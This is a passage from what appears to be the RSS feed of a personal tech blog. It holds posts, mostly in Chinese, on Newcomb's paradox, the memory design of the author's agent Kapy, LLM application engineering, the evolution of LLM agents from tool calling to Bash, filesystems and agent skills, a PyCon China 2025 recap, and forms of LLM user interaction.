-67Q370 -67 365 -61T360 -47Q360 -39 366 -33Q367 -33 400 -15T498 39T625 109L626 110H627L628 111H629L630 112L631 113H632L634 114H635L636 115H637L638 116L639 117H640L641 118H642L643 119H644L645 120L646 121H647L648 122H649L650 123H651L652 124L653 125H654L656 126H657L658 127H659L660 128L661 129H662L663 130H664L665 131H666L667 132L668 133H669L670 134H671L672 135H673L674 136H675L676 137L677 138H678L679 139H680L681 140L683 141L881 251Q368 530 367 533Q360 539 360 547Z" style="stroke-width: 3;"/></g><g data-mml-node="msup" transform="translate(2992.1,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><msup><mn>10</mn><mn>6</mn></msup><mo>≫</mo><msup><mn>10</mn><mn>3</mn></msup></math></mjx-assistive-mml></mjx-container>，就会选择单盒；如果直觉倾向于损失厌恶和时序逻辑，就会选择双盒。</li>
<li><strong>在完整理解题目后</strong>，如果选择坚持“相关性不等于因果性”，就会选择双盒；如果选择认为“相关性可以指示因果性”，就会选择单盒。</li>
</ul>
<p>过去几十年，这两种直觉在人群中一直势均力敌。但现在，天平倾斜了。</p>
<h3 id="q-为什么近期的问卷中-选择单盒的人呈现压倒性多数" tabindex="-1">Q: 为什么近期的问卷中，选择单盒的人呈现压倒性多数？ <a class="header-anchor" href="#q-为什么近期的问卷中-选择单盒的人呈现压倒性多数" aria-label="Permalink to “Q: 为什么近期的问卷中，选择单盒的人呈现压倒性多数？”">&#8203;</a></h3>
<p>这和过去五五开的选择很不一样，其根本原因在于时代技术背景对人类潜意识的重塑。</p>
<p>由于题面以“超级计算机”的词汇描述这预测机，而这很容易让人联想到 LLM：LLM 就是一个典型的使用统计分布预测因果概率的模型（甚至 HuggingFace 直接管它叫 CausalLM)。</p>
<p>因此，这个题面隐含了“相关性可以指示因果性”的暗示，使得更多人选择单盒；而在更早的问卷调查中，很少有人相信这样的“超级计算机”会真实存在，因此答案更接近五五开。</p>
<h3 id="时代背景对直觉的-重塑" tabindex="-1">时代背景对直觉的“重塑” <a class="header-anchor" href="#时代背景对直觉的-重塑" aria-label="Permalink to “时代背景对直觉的“重塑””">&#8203;</a></h3>
<p>纽科姆悖论是 1969 年提出的。在那个连个人电脑都没有普及、计算机还是个填满整个房间的打孔卡机器的年代，“一个能完美预测人类行为的超级计算机”听起来完全是神学或者魔法。</p>
<p>过去的人（尤其是哲学家）会觉得这种预测纯属无稽之谈，因此大脑会自动退回到最坚固的防线，经典物理学的因果律和时间之矢。昨天的事情不能被今天改变，所以坚决选择双盒。</p>
<p>现在的我们则每天都在被推荐算法“读心”，看着 AI 通过概率分布完美预测甚至操纵人类行为。不说 LLM，现在哪个软件没有推荐算法呢？过去人的心智就不是这样的，能做到这个事情的一定是半仙了。现在人拿 deepseek 算命，大模型都快取代半仙的工作了。我们对“机器能看透我”这件事已经有了实感。预测机的设定不再是神学，而是可预见的工程现实。因此，我们更容易放下对时间因果律的执念，拥抱“证据决策论”，选择单盒。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[第一记忆模式和第二记忆模式：Kapy 的记忆系统设计]]></title>
            <link>https://blog.yanli.one/first-and-second-memory-mode-kapy-memory-system-zh</link>
            <guid isPermaLink="false">https://blog.yanli.one/first-and-second-memory-mode-kapy-memory-system-zh</guid>
            <pubDate>Sat, 14 Mar 2026 16:00:00 GMT</pubDate>
            <description><![CDATA[固定式注入的广义记忆，以及 agent 自主查询的目标记忆。]]></description>
            <content:encoded><![CDATA[<p>Kapy (short for Kapybara) 是我春节假期做的一个通用 agent，由于我略长于别人的春节假期 (thanks to <a href="https://dify.ai/" target="_blank" rel="noreferrer">dify.ai</a>) 就要结束了，先把 devlog 写了，精装修的 GitHub repo 之后再发。</p>
<p>我思考记忆系统的设计很久了，我想每一个做过 chatbot 的人应该都思考过。但我一直没有形成清晰的结论，接着这个机会逼迫自己一把，算是把我的答卷做出来了。其实做 Kapy 是我近期手写代码最多的时候，手写代码就像雕刻家一样（我想象中的雕刻家，因为我也不知道真正的雕刻家什么样），是在打磨的过程中完善思想的过程。</p>
<h2 id="统一式架构设计" tabindex="-1">统一式架构设计 <a class="header-anchor" href="#统一式架构设计" aria-label="Permalink to “统一式架构设计”">&#8203;</a></h2>
<p>进入正题。这个记忆系统打一开始我就决定要做统一式的，不做基于 thread 的拆分，以原始信息作为 single source of truth。此时包括 <a href="https://github.com/PsiACE/bub" target="_blank" rel="noreferrer">bub</a> 在内的 agent 已经把这条路跑通了，因此这个决策对我来说不仅是想法，是一个完全明确的方向。</p>
<p>统一式的架构定了，应用层总得有 compact 吧？我一直报有 turn 重要于 thread 的想法：</p>
<ul>
<li>很多任务是以 turn 为单位的，比如搜索任务大概率不会有追问；</li>
<li>Agent 语境下的 turn 不仅是输入-输出对，而是：输入 -&gt; tool call loop -&gt; 输出</li>
<li>之前在推特上我就表达过，tool call loop 不是记忆，而是工作日志。agent-human 之间的交互记忆和 tool call loop 的细节几乎没有关联。</li>
</ul>
<p>于是 compact 的方案也自然敲定了：以一个 turn 里的 tool call loop 为最小单位做 compact，形成一个 compact node。那记忆的基本单位就成型了：一个 memory record 对应一个 turn，包含其原始工作 log 和 compact node。</p>
<h2 id="dag-与因果链串联" tabindex="-1">DAG 与因果链串联 <a class="header-anchor" href="#dag-与因果链串联" aria-label="Permalink to “DAG 与因果链串联”">&#8203;</a></h2>
<p>那既然不要 thread，每个 turn 之间怎么串联起来呢？我立即想到了 git，也就是一个 DAG。这个形状非常合理：连边表示时序和因果，一个 memory record 上接 parents 不就构成因果链了吗？</p>
<p>那 parents 怎么接上呢？我试过不同方案，比如就用 thread 强制串起来？但是 agent 如果自主去查询自己的记忆，不仅限于最近的记忆了，那不也构成因果了吗？最终我认为这里大可交给 agent 自己决定：完成任务后你自己告诉我你参考了哪些过去的记忆，我帮你把这个 DAG 结构落库就好了。</p>
<h2 id="读写逻辑与召回机制" tabindex="-1">读写逻辑与召回机制 <a class="header-anchor" href="#读写逻辑与召回机制" aria-label="Permalink to “读写逻辑与召回机制”">&#8203;</a></h2>
<p>很好，写入逻辑敲定了，读出呢？首先最基本的近期记忆肯定是要的，然后 agent 要自主查询它可能感兴趣的过去的记忆、包括过去的具体工作日志。这时候我已经意识到基于文件系统做事很爽，我把 memory record 的存储落在文件系统里，然后写了一个小脚本。</p>
<p>这个脚本有三路召回：</p>
<ol>
<li><strong>Thread 维度</strong>：按 thread 筛选召回最近的 memory records，自然起到最近语境上下文的作用。</li>
<li><strong>User 维度</strong>：Kapy 会识别不同的 human user，进行召回。</li>
<li><strong>Keyword 维度</strong>：依赖 agent 自己传进来的 keywords 参数，按 keywords 检索过去的记忆。</li>
</ol>
<p>这一个脚本虽然是 agent 自己调用的，但其实是半固定注入：我要求 agent 在每一个 turn 的起始第一个 tool call 必须使用这个脚本。</p>
<p>有了这个基础记忆，agent 至少能理解语境了。接下来，agent 或许会想起来有价值的细节需要探查：比如看完 compact 还得查一下原始日志，或者出现了新的关键词要在过去的记忆里查一查。还记得 memory records 都落在文件系统上吗？你自己用 rg sed 之类的去查吧。记得最后把 referenced memories id 告诉我就行。</p>
<h2 id="两种记忆模式的并存" tabindex="-1">两种记忆模式的并存 <a class="header-anchor" href="#两种记忆模式的并存" aria-label="Permalink to “两种记忆模式的并存”">&#8203;</a></h2>
<p>至此，Kapy 的记忆系统就完成了，当然中间我也或多或少地调整了设计，总之十数天的使用下来证明它 work 的非常好。</p>
<p>总而言之，这个系统的原则在于两种记忆模式的并存：</p>
<ul>
<li><strong>模式一：固定式注入的记忆</strong>。这个记忆是宽泛的，大体的，把握全局的，以 compact 信息为主的；</li>
<li><strong>模式二：agent 自主的记忆查询</strong>。这个记忆是具体的、有明确目标的，agent 知道自己在寻找什么。</li>
</ul>
<h2 id="实现细节与未来展望" tabindex="-1">实现细节与未来展望 <a class="header-anchor" href="#实现细节与未来展望" aria-label="Permalink to “实现细节与未来展望”">&#8203;</a></h2>
<p>实现细节上，目前自然有点粗糙，但总之要符合上述两种模式：</p>
<ul>
<li>对第一个模式要提供一个高级的 API，让 agent 从零上下文的状态下就搞明白我是谁我在哪我要干什么。这个高级 API 的参数要尽量少，能写死的就写死，调用也是强制或半强制的；</li>
<li>对第二个模式则要提供一个低级的 API。Agent 此时已经明确知道自己想要什么信息，要给它尽可能大的灵活性去找到它要的信息。</li>
</ul>
<p>比如 Kapy 当前版本的第一记忆模式目前是三路检索，然后加上 DAG 因果链上的最近祖先们；第二记忆模式基于文件系统，虽然够低级，但 rg 毕竟只是基于关键字，要是加上语义检索全文检索的能力，总归能给它多两只手。</p>
<p>说到这里其实可以引出一个新的问题：第二记忆模式、知识库、skills，都是 agent 利用一个工具从外部去查询，它们之间是什么关系，有什么区别，是统一的同一件东西吗？还是应该区分，有不同的索引结构？我也还没想好，留作后话。</p>
<p>(<a href="https://mem.nowledge.co/" target="_blank" rel="noreferrer">Nowledge Mem</a> 从记忆的方法论的角度做了一些工作，我觉得很有价值)</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[大模型能力的发展会碾压一切大模型应用工程吗？]]></title>
            <link>https://blog.yanli.one/will-model-capability-crush-llm-app-engineering-zh</link>
            <guid isPermaLink="false">https://blog.yanli.one/will-model-capability-crush-llm-app-engineering-zh</guid>
            <pubDate>Sat, 14 Mar 2026 16:00:00 GMT</pubDate>
            <description><![CDATA[工程的本质，始终是在当前技术条件下解决当前问题。]]></description>
            <content:encoded><![CDATA[<h3 id="不断被挑战的-应用价值" tabindex="-1">不断被挑战的“应用价值” <a class="header-anchor" href="#不断被挑战的-应用价值" aria-label="Permalink to “不断被挑战的“应用价值””">&#8203;</a></h3>
<p>其实这一观点并不少见，过去经常有朋友问我：<strong>“大模型上下文越来越长，RAG 还有用吗？”</strong></p>
<p>随着以 Claude Code 为首的 Coding Agent 在过去一年里强势崛起，类似的质疑不仅仅来自“外行”的朋友，越来越多的身处大模型应用行业其中的朋友也开始持有这样的观点。</p>
<hr>
<h3 id="从-csapp-的-抽象泄露-说起" tabindex="-1">从 CSAPP 的“抽象泄露”说起 <a class="header-anchor" href="#从-csapp-的-抽象泄露-说起" aria-label="Permalink to “从 CSAPP 的“抽象泄露”说起”">&#8203;</a></h3>
<p>我想先从一个似乎不相干的角度来切入：</p>
<p>有一位朋友向我抱怨**前缀缓存（Prefix Caching）**的不合理，表示缓存应该是模型供应商自己处理的优化，凭什么要求应用工程师去考虑？这不是妥妥的“抽象泄露”吗？</p>
<p>是的，以工程师的审美来说，这就是抽象泄露，是“丑”的。</p>
<p>但我随即想到 CSAPP（《深入理解计算机系统》）的开篇：为什么软件工程师要学习体系结构？</p>
<p>书里给出的理由是：软件工程师要理解体系结构的运行原理，才能优化软件的效率、写出符合底层逻辑的代码。</p>
<p>这一理由总令人觉得牵强。事实上，今天的大多数程序员都根本不考虑分支预测、内存缺页云云，编译器之类的中间层早就把这些包圆了。不如说程序员人工试图做的优化反而会是累赘。</p>
<hr>
<h3 id="大模型尚未进入-稳态期" tabindex="-1">大模型尚未进入“稳态期” <a class="header-anchor" href="#大模型尚未进入-稳态期" aria-label="Permalink to “大模型尚未进入“稳态期””">&#8203;</a></h3>
<p>出现这种脱节的原因也不难猜测：<strong>体系结构的设计已经非常稳定了。</strong></p>
<p>除了嵌入式或者超算之外的通用计算设备（服务器、桌面、手机），底层逻辑几乎没有区别。因此中间层可以做充分的封装抽象，程序员再也不必关心体系结构的问题。</p>
<p><strong>而大模型不是这样的。</strong></p>
<ul>
<li>一方面，大模型的效率还远远没有像硬件那样可以大手大脚地挥霍；</li>
<li>另一方面，大模型的底层结构仍在快速发展：智力能力也好、底层架构也好，随时都会发生改变。</li>
</ul>
<p>因此 CSAPP 所述的情形对于大模型应用来说是成立的：<strong>为了设计出效率更高的应用，程序员需要理解大模型底层架构是如何运行的。</strong> 这一原则的显著体现就是“前缀缓存”。如果应用不尊重前缀缓存，它只能接受又贵又慢的代价。</p>
<hr>
<h3 id="工程的本质是解决当下的问题" tabindex="-1">工程的本质是解决当下的问题 <a class="header-anchor" href="#工程的本质是解决当下的问题" aria-label="Permalink to “工程的本质是解决当下的问题”">&#8203;</a></h3>
<p>那有朋友自然要问了：抽象泄露导致耦合怎么办？如果有一天 Diffusion 架构崛起了，再也没有人用 Transformer 了，前缀缓存不就凉了吗？</p>
<p>是的，这也是大模型基础能力碾压应用工程的一大可能样本。回答是别无他法：<strong>快速转身迎接新的架构。</strong></p>
<p>事实上，一切工程实践都会被底层科技的更新所颠覆。砖石建筑会被钢筋混凝土颠覆，屹立千年的斗兽场最终也不过景观。但所谓的工程学是什么？<strong>不就是在现有的科技条件下去解决问题吗？</strong> 科技发展或快或慢，但你总要在现有科技下解决问题。</p>
<hr>
<h3 id="从工程师到黑客" tabindex="-1">从工程师到黑客 <a class="header-anchor" href="#从工程师到黑客" aria-label="Permalink to “从工程师到黑客”">&#8203;</a></h3>
<p>最近人们经常提到一个概念叫 <strong>“低垂的果实”</strong> ：大模型可以解决很多有价值的问题，对于工程师来说轻易就能做掉，举手之劳。什么时候会出现这样的低垂果实？<strong>那就是底层科技发生快速更新的时候。</strong></p>
<p>快速地接入新的科技，在别人意识到问题之前就解决问题：这正是过去那个群星璀璨的时代的人们所做的事情。</p>
<p>第一代网红 LangChain 和第二代网红“小龙虾” OpenClaw 则是最近的例子。<strong>工程师的能力是稳固、负责任地解决问题，而黑客除此之外，还要动作更快一点。</strong></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How LLM Agents Become What They Look Like in 2026?]]></title>
            <link>https://blog.yanli.one/how-llm-agents-became-what-they-look-like-in-2026</link>
            <guid isPermaLink="false">https://blog.yanli.one/how-llm-agents-became-what-they-look-like-in-2026</guid>
            <pubDate>Mon, 19 Jan 2026 16:00:00 GMT</pubDate>
            <description><![CDATA[Tools, MCP, Bash, Filesystem, OS, and Agent Skills]]></description>
            <content:encoded><![CDATA[<h2 id="_1-a-brief-history-of-llm-agents" tabindex="-1">1) A Brief History of LLM Agents <a class="header-anchor" href="#_1-a-brief-history-of-llm-agents" aria-label="Permalink to “1) A Brief History of LLM Agents”">&#8203;</a></h2>
<h3 id="stage-1-structured-output" tabindex="-1">Stage 1: Structured Output <a class="header-anchor" href="#stage-1-structured-output" aria-label="Permalink to “Stage 1: Structured Output”">&#8203;</a></h3>
<p>An LLM is like a <strong>magic function</strong>: it receives an input and produces an output. That seems similar to what we do every day with code, but with one key difference—both the input and the output are in natural language.</p>
<p>However, when we need the LLM to behave deterministically, we must make it output a machine-readable format, i.e., structured output. With structured output, this <strong>magic function</strong> can be embedded into a normal programmatic function.</p>
<h3 id="stage-2-tool-calling" tabindex="-1">Stage 2: Tool Calling <a class="header-anchor" href="#stage-2-tool-calling" aria-label="Permalink to “Stage 2: Tool Calling”">&#8203;</a></h3>
<p>Tool calling is essentially the first standardized wrapper around structured output, introduced by the OpenAI API (which became the de facto standard for LLM APIs).</p>
<p>It introduces the concept of a “tool” that takes JSON arguments. This is how the magic function integrates with normal functions. However, the API itself does not actually execute the tool—it only returns the arguments. In that sense, tool calling is still structured output, just with a more explicit interface.</p>
<h3 id="stage-3-mcp" tabindex="-1">Stage 3: MCP <a class="header-anchor" href="#stage-3-mcp" aria-label="Permalink to “Stage 3: MCP”">&#8203;</a></h3>
<p>So who actually runs the tool? MCP introduces the missing role: the tool runtime.</p>
<p>In its built-in client–server architecture, the MCP client is basically a wrapper around tool calling, except that it additionally calls an MCP server. The MCP server is the component that truly executes the tool.</p>
<h3 id="stage-4-1-bash" tabindex="-1">Stage 4-1: Bash <a class="header-anchor" href="#stage-4-1-bash" aria-label="Permalink to “Stage 4-1: Bash”">&#8203;</a></h3>
<p>In my opinion, MCP is an over-engineered approach that ultimately failed to become the universal solution.</p>
<p>Since the early days of <code>gpt-3.5-turbo</code>, LLMs have shown strong coding ability—not only in major languages like Python, but also in:</p>
<ul>
<li>JSON (as discussed above: the foundation of structured output and tool usage)</li>
<li>Bash. Bash becomes a “meta tool” for agents: potentially the only tool an agent needs. With Bash, an agent can run <code>curl</code>, <code>wget</code>, <code>gh</code> (GitHub CLI), and more. This makes many MCP-style applications redundant.</li>
</ul>
<h3 id="stage-4-2-filesystem" tabindex="-1">Stage 4-2: Filesystem <a class="header-anchor" href="#stage-4-2-filesystem" aria-label="Permalink to “Stage 4-2: Filesystem”">&#8203;</a></h3>
<p>As we dive deeper into agent development, several issues emerge:</p>
<ul>
<li>Some tools may produce outputs too large for the context window, or generate artifacts like images that cannot be directly returned to the LLM (assuming the LLM is not multi-modal).</li>
<li>To process these artifacts, we need additional tools, such as:
<ol>
<li>using a multi-modal LLM to summarize the image, or</li>
<li>using zip to compress it, or</li>
<li>uploading it somewhere on the internet.</li>
</ol>
</li>
<li>The problem is that these options can all be valid at the same time. That would require 3 separate tools like:
<ul>
<li><code>generate_img_and_summarize</code></li>
<li><code>generate_img_and_zip</code></li>
<li><code>generate_img_and_send</code></li>
</ul>
</li>
<li>If we add audio generation, we suddenly need 3 more tools! As combinations grow, the number of tools grows exponentially.</li>
</ul>
<p>The root cause is that intermediate artifacts (images, audio, long texts) cannot be returned directly to the LLM in a single step. To decouple tool combinations, we need a place to store intermediate artifacts so that the agent can decide what to do next in subsequent turns by LLM.</p>
<p>That is the filesystem.</p>
<h3 id="stage-4-3-what-s-the-runtime-for-bash-and-filesystem" tabindex="-1">Stage 4-3: What’s the runtime for Bash and filesystem? <a class="header-anchor" href="#stage-4-3-what-s-the-runtime-for-bash-and-filesystem" aria-label="Permalink to “Stage 4-3: What’s the runtime for Bash and filesystem?”">&#8203;</a></h3>
<p>Yes, OS.</p>
<h2 id="_2-stage-next" tabindex="-1">2) Stage NEXT <a class="header-anchor" href="#_2-stage-next" aria-label="Permalink to “2) Stage NEXT”">&#8203;</a></h2>
<p>Bash looks promising as the one ultra meta tool to rule all tools, but many tasks cannot be covered by Bash alone. A good example is the browser—the ultimate GUI program. GUI was designed to bypass TTY because complex tasks can overwhelm a human’s context window.</p>
<p>Meanwhile, LLMs are evolving alongside agent design. With innovations such as:</p>
<ul>
<li>separation of thinking and output,</li>
<li>RL to improve structured JSON output and coding,</li>
<li>larger context windows,</li>
</ul>
<p>some engineering practices may become obsolete. For example:</p>
<ul>
<li>ReACT became less necessary once structured output was standardized.</li>
<li>CoT prompts and CoT-style workflows may become less critical once thinking/output separation is integrated during model training.</li>
</ul>
<h2 id="_3-problems" tabindex="-1">3) Problems <a class="header-anchor" href="#_3-problems" aria-label="Permalink to “3) Problems”">&#8203;</a></h2>
<h3 id="trade-off-latency-vs-quality" tabindex="-1">Trade-off: Latency vs. Quality <a class="header-anchor" href="#trade-off-latency-vs-quality" aria-label="Permalink to “Trade-off: Latency vs. Quality”">&#8203;</a></h3>
<p>When using coding agents, I always choose the SOTA model and can tolerate long waiting times for the best result. But in many cases, users expect responses within acceptable latency.</p>
<p>For a chatbot scenario, I believe TTFT should be at most 20–30 seconds. That is one reason non-agentic RAG still exists.</p>
<h3 id="reproducibility" tabindex="-1">Reproducibility <a class="header-anchor" href="#reproducibility" aria-label="Permalink to “Reproducibility”">&#8203;</a></h3>
<p>Even if users can wait for higher quality, they still expect predictable wait times and consistent outputs. That is why workflows continue to matter.</p>
<h3 id="trade-off-privacy-cost-vs-quality" tabindex="-1">Trade-off: Privacy/Cost vs. Quality <a class="header-anchor" href="#trade-off-privacy-cost-vs-quality" aria-label="Permalink to “Trade-off: Privacy/Cost vs. Quality”">&#8203;</a></h3>
<p>In many situations, users choose smaller open-weight models - or even edge-sized models - for privacy or cost reasons.</p>
<h3 id="multi-modal-agents" tabindex="-1">Multi-modal Agents <a class="header-anchor" href="#multi-modal-agents" aria-label="Permalink to “Multi-modal Agents”">&#8203;</a></h3>
<p>Beyond coding agents for programmers, many users want agents with additional capabilities such as browser-use, computer-use, or interacting with specific GUIs.</p>
<h2 id="_4-how-about-agent-skills" tabindex="-1">4) How About Agent-Skills? <a class="header-anchor" href="#_4-how-about-agent-skills" aria-label="Permalink to “4) How About Agent-Skills?”">&#8203;</a></h2>
<p>Technically, agent-skills is simply a protocol for <u>dynamic prompt injection</u> (the agent decides which prompts it should load), assuming the agent is built on <strong>Stage 4</strong> as described above. In practice, it is nothing more than a set of files.</p>
<p>However, compared with MCP, agent-skills seems more likely to become widely adopted because:</p>
<ul>
<li>it is self-contained as a folder and easy to distribute;</li>
<li>it is simple and can be distributed without a runtime or dependencies - assuming the client agent already operates at <strong>Stage 4</strong>.</li>
<li>Since it is designed to run on an OS, it can pack anything that can work on an OS - <code>prompt.md</code>, <code>tools.sh</code>, <code>helper.py</code>, and even <code>bin/executable</code>, <code>lib/library.so</code>, <code>Minecraft.zip</code> (If your agent is smart enough to play the game), <code>Tutorial: Beat Ender Dragon with HALF A Heart.mp4</code> (If your agent can), etc.</li>
</ul>
<p>In short, agent-skills is a promising protocol. A <strong>Stage 4</strong> agent system can act as a client to use skills from other providers, or a system can provide skills for other agents. The idea of <u>dynamic prompt injection</u> can support good system design, but that design is independent of the agent-skills protocol itself.</p>
<blockquote>
<p>What if an OS distro can do <code>pacman -S someprogram someprogram-agent-skill</code>?</p>
</blockquote>
<p>Reference:</p>
<ul>
<li><a href="https://lucumr.pocoo.org/2025/11/21/agents-are-hard/" target="_blank" rel="noreferrer">https://lucumr.pocoo.org/2025/11/21/agents-are-hard/</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PyCon China 2025 后记]]></title>
            <link>https://blog.yanli.one/after-pycon-china-25</link>
            <guid isPermaLink="false">https://blog.yanli.one/after-pycon-china-25</guid>
            <pubDate>Sat, 20 Sep 2025 16:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<p>18 号陈酿了一个月的比利时风味赛松提前一晚放冰箱冷藏，19 号大家都到上海了。中午还在上班呢，那边一批有网瘾的已经进网吧玩游戏了。晚上带着酒去吃烤肉，结果后来又加了酒，慧姐带的没喝完的大桶喜力又被我带回一桶去。网友齐聚一堂共襄盛举，差点把伊哥都喝倒了，我也喝够多了。但是晚上回去还要继续做 talk 材料。和 vercel 和 dokploy 搏斗一晚，才勉强把 WikiSurfing 跑到线上，又把文档和 first issues 补齐。干到三点多，四点钟算是睡下了。</p>
<p>20 号上午 9 点多起床，9 点半才上车，果然错过了开场和伊哥的 talk，但是被伊哥以赛博分身的方式登上讲台。到了会场后继续埋头写闪电演讲（有机 LLM 交互）的排版，又写 intro，总算是在早上搞定了。上午都是金主们的软广，慧姐叫吃饭结果我还在写稿子没来得及。随后和朋友们会合打了招呼去吃饭，被志愿者骗了领了食堂盒饭而不是大米先生。饭后出去了一堂买了杯咖啡和士力架，又美美错过合照。</p>
<p>下午第一场先去了思为的场次（并且给 WikiSurfing 做了极简 slides），然后去代码厨房准备 WikiSurfing 分享，然后在代码厨房听了伊哥的 running page。然后又去听了一点 shell 分享的 py 最小运行时和虚拟环境构建。然后本来应该听 saka 的 py314 介绍，但是这个会场严重拖堂以至于只听到了个开始。接着到 D 会场听闪电演讲了，听了 takanori 的 emoji 库和神秘日语分词辞典库的分享（他的 social links 有 Untapped！），然后就轮我上有机 LLM 交互的演讲了。完事又冲向 B 会场听大模型项目验收管理，勉强听了卓燃的开头，上楼简单看了一眼 vibe coding 圆桌，然后和朋友们汇合了休息一会儿，远观了一下真人的相亲现场。又回 C 会场这会儿正好能听到 frost 讲关于包管理的新规范。后面的函数式编程也挺有兴趣的但我此时已经睡晕了。一觉醒来该吃饭了。</p>
<p>晚宴差点被拆一半去吃面了，好在 jingtao 还是把场子找了回来。晚宴远在北外滩！白玉兰广场的景观咖啡厅里。吃食中规中矩但景观真是不错，能看到整个陆家嘴天际线。聊了聊主办方的财务状况，希望别赔钱了。两次鼓起勇气找 takanori 聊天，其实前一天晚上看到他去 tapthat，我就回复推荐了一些酒馆。晚宴上好好聊了聊酒，最终让他去了筝歌，也让他推荐了两家东京的酒馆（还有家静冈的），答应下次给他带我的家酿啤酒。听说日本是不允许家酿啤酒的？</p>
<p>下半场去了一家 30 公里，坐屋外喝甚至有点冷风，上海终于入秋了。我前一天喝够多了，受不住了，不敢多喝了。晚上一点多散场，回家看到 xuanwo 家的汉堡馋了，把前几天做的汉堡饼做了吃了一顿宵夜。</p>
<p>21 号，晚上准备吃沪西老弄堂，尝尝这个面是怎么回事。</p>
<p>本期 pycon 玩的很开心，不过我还是太 i 了，虽然见了很多新老朋友，但还有好多朋友们没有见面没有打招呼。谢谢李辉老师和代码厨房的邀请，可惜没赶上代码厨房的音乐会。日后也要继续努力，希望岁岁有今朝。takanori 似乎是我第一次在 tech community 认识的精酿酒友呢。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[有机的 LLM 人机交互: 不只是对话框]]></title>
            <link>https://blog.yanli.one/pycon-china-2025-llm-interaction-zh</link>
            <guid isPermaLink="false">https://blog.yanli.one/pycon-china-2025-llm-interaction-zh</guid>
            <pubDate>Wed, 17 Sep 2025 16:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<h2 id="对话框-有状态的深度交互" tabindex="-1">对话框：有状态的深度交互 <a class="header-anchor" href="#对话框-有状态的深度交互" aria-label="Permalink to “对话框：有状态的深度交互”">&#8203;</a></h2>
<p>首先当然是对话框。对话框是最常见的 LLM 交互形式，从 ChatGPT 开始就广为人知。其场景包括但不仅限于回答问题、信息检索、对话交流、文字游戏等等。它的输入和输出都是文本或富文本。</p>
<p>对话框的核心优势在于其有状态性——能够记住对话历史，支持多轮深入交互。用户可以持续探讨同一话题，逐步完成复杂任务。然而这种形式也有其局限性：用户需要明确表达自己的需求，而开放性的交互界面有时反而让人不知从何开始。</p>
<h2 id="搜索框-聚焦明确的查询需求" tabindex="-1">搜索框：聚焦明确的查询需求 <a class="header-anchor" href="#搜索框-聚焦明确的查询需求" aria-label="Permalink to “搜索框：聚焦明确的查询需求”">&#8203;</a></h2>
<p>相比对话框的开放性，搜索框更加简洁明确，主要聚焦于两种不同的使用场景：问答和检索。</p>
<p>在问答场景中，用户输入明确的问题，通常以疑问词开头，如&quot;今年 PyCon China 是什么时候？&quot;或&quot;Python 的依赖 lock 机制如何运作？&quot;。而在信息检索场景中，用户则输入关键词或短语进行索引查找，如&quot;PyCon China 2025&quot;、&quot;PEP 751&quot;等，期望找到具体的网页或资源。</p>
<p>与对话框的有状态性形成对比，搜索框采用无状态的交互模式。每次查询都是独立的，使用简单高效。不过，当用户需要基于搜索结果继续深入追问时，这种交互往往会自然演进为对话框形式。</p>
<h2 id="集成-llm-的应用-无缝融入工作流程" tabindex="-1">集成 LLM 的应用：无缝融入工作流程 <a class="header-anchor" href="#集成-llm-的应用-无缝融入工作流程" aria-label="Permalink to “集成 LLM 的应用：无缝融入工作流程”">&#8203;</a></h2>
<p>从前面两种直接的人机交互形式，我们转向另一类应用——LLM 不再作为独立的交互界面，而是嵌入为软件功能的一部分。</p>
<h3 id="泛-copilot-重塑专业创作流程" tabindex="-1">泛 Copilot：重塑专业创作流程 <a class="header-anchor" href="#泛-copilot-重塑专业创作流程" aria-label="Permalink to “泛 Copilot：重塑专业创作流程”">&#8203;</a></h3>
<p>当我们将 LLM 集成到专业创作软件中，让用户在创作过程中无缝调用 LLM 进行辅助工作时，便形成了我所称的&quot;泛 Copilot&quot;交互模式。</p>
<p>这类交互的突出特点是，它几乎没有改变用户的既有工作流程，而是巧妙地将其中某些步骤替换为 LLM 调用。比如，代码编辑器中基于 LSP 的代码补全升级为基于 LLM 的智能补全；文本编辑器提供基于 LLM 的语法检查和文本润色功能。</p>
<p>这种模式真正实现了 LLM 与用户内容生产流程的深度融合，让 AI 能力成为创作工具的自然延伸。</p>
